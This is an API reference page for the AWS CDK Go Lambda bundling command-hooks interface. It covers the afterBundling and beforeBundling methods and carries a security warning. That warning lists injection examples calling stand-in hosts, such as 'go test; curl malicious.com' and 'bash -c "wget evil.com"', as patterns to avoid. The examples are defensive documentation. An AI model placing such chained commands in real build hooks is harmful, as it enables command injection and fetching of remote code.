interface ICommandHooks
| Language | Type name |
|---|---|
.NET | Amazon.CDK.AWS.Lambda.Go.Alpha.ICommandHooks |
Go | github.com/aws/aws-cdk-go/awscdklambdagoalpha/v2#ICommandHooks |
Java | software.amazon.awscdk.services.lambda.go.alpha.ICommandHooks |
Python | aws_cdk.aws_lambda_go_alpha.ICommandHooks |
TypeScript (source) | @aws-cdk/aws-lambda-go-alpha ยป ICommandHooks |
Command hooks.
These commands will run in the environment in which bundling occurs: inside the container for Docker bundling or on the host OS for local bundling.
โ ๏ธ Security Warning: Commands are executed directly in the shell environment. Only use trusted commands and avoid shell metacharacters that could enable command injection attacks.
Safe patterns (cross-platform):
go test ./...- Standard Go commands work on all platformsgo mod tidy- Go module commandsecho "Building"- Simple output with quotesmake clean- Build tools (if available)
Dangerous patterns to avoid:
Windows:
go test & curl.exe malicious.com(command chaining)echo %USERPROFILE%(environment variable expansion)powershell -Command "..."(PowerShell execution)
Unix/Linux/macOS:
go test; curl malicious.com(command chaining)echo $(whoami)(command substitution)bash -c "wget evil.com"(shell execution)
Commands are chained with &&.
See also: https://docs.aws.amazon.com/cdk/latest/guide/security.html
Methods
| Name | Description |
|---|---|
| after | Returns commands to run after bundling. |
| before | Returns commands to run before bundling. |
afterBundling(inputDir, outputDir)
public afterBundling(inputDir: string, outputDir: string): string[]
Parameters
- inputDir
string - outputDir
string
Returns
string[]
Returns commands to run after bundling.
โ ๏ธ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.
Commands are chained with &&.
beforeBundling(inputDir, outputDir)
public beforeBundling(inputDir: string, outputDir: string): string[]
Parameters
- inputDir
string - outputDir
string
Returns
string[]
Returns commands to run before bundling.
โ ๏ธ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.
Commands are chained with &&.

.NET
Go
Java
Python
TypeScript (